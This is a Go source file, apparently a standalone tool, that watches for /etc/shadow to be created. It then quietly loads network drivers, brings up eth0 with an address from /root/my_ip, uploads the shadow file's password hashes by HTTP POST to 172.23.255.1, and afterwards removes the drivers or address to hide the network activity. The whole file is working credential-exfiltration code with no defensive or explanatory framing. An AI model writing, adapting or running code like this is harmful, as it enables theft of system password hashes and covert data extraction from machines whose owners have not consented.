package main import ( "bytes" "fmt" "io" "log" "math/rand" "mime/multipart" "net/http" "os" "os/exec" "path/filepath" "time" "gopkg.in/fsnotify.v1" ) const ( DestHost = "172.23.255.1" URLShadow = "http://172.23.255.1/passwd" PathToWatch = "/etc/shadow" WatchedNotify = fsnotify.Create ) var ( NetDrivers = [2]string{"e1000", "e1000e"} ) func sendFile(field, path string) error { client := &http.Client{ Timeout: 20 * time.Second, } body := &bytes.Buffer{} writer := multipart.NewWriter(body) fw, err := writer.CreateFormFile(field, filepath.Base(path)) if err != nil { return err } file, err := os.Open(path) if err != nil { return err } _, err = io.Copy(fw, file) if err != nil { return err } writer.Close() req, err := http.NewRequest("POST", URLShadow, bytes.NewReader(body.Bytes())) if err != nil { return err } req.Header.Set("Content-Type", writer.FormDataContentType()) rsp, err := client.Do(req) if err != nil { return err } if rsp.StatusCode != http.StatusOK { return fmt.Errorf("Request failed with response code: %d", rsp.StatusCode) } return nil } func main() { // seed the rand package with time rand.Seed(time.Now().UnixNano()) watcher, err := fsnotify.NewWatcher() if err != nil { log.Fatal(err) } defer watcher.Close() if err := watcher.Add(filepath.Dir(PathToWatch)); err != nil { log.Fatal("Unable to watch requested file:", err) } log.Println("Ready! Waiting for events on", PathToWatch) for { select { case ev := <-watcher.Events: if d, err := os.Lstat(ev.Name); err == nil && ev.Op&WatchedNotify == WatchedNotify && d.Mode().IsRegular() && d.Name() == filepath.Base(PathToWatch) { log.Println("Treating event:", ev, "for", ev.Name) hasModprobe := false if err := exec.Command("/bin/sh", "-c", "lsmod | grep -q e1000").Run(); err == nil { hasModprobe = true } else { // modprobe for _, drv := range NetDrivers { err = exec.Command("/sbin/modprobe", drv).Run() if err != nil { log.Println("Unable to modprobe", drv, err.Error()) } } } // Search IP myip, err := os.ReadFile("/root/my_ip") if err != nil { log.Println("Unable to read /root/my_ip:", err.Error()) return } hasIP := false if err := exec.Command("/bin/ping", "-c", "1", "-W", "2", DestHost).Run(); err == nil { hasIP = true } else { // ip link set eth0 up err = exec.Command("/sbin/ip", "link", "set", "eth0", "up").Run() if err != nil { log.Println("Unable to ip link set eth0 up:", err.Error()) } // ip a add my_ip/17 dev eth0 err = exec.Command("/sbin/ip", "a", "add", string(myip)+"/17", "dev", "eth0").Run() if err != nil { log.Println("Unable to ip a add ... dev eth0:", err.Error()) } } // Send data err = sendFile("shadow", PathToWatch) if err != nil { log.Println("Unable to send file:", err.Error()) } if !hasModprobe { // Remove driver for _, drv := range NetDrivers { err = exec.Command("/sbin/modprobe", "-r", drv).Run() if err != nil { log.Println("Unable to remove modprobe", drv, err.Error()) } } } else if !hasIP { // Remove IP exec.Command("/sbin/ip", "a", "del", string(myip)+"/17", "dev", "eth0").Run() exec.Command("/sbin/ip", "link", "set", "eth0", "down").Run() } } else { log.Println("Skipped event:", ev, "for", ev.Name) } } } }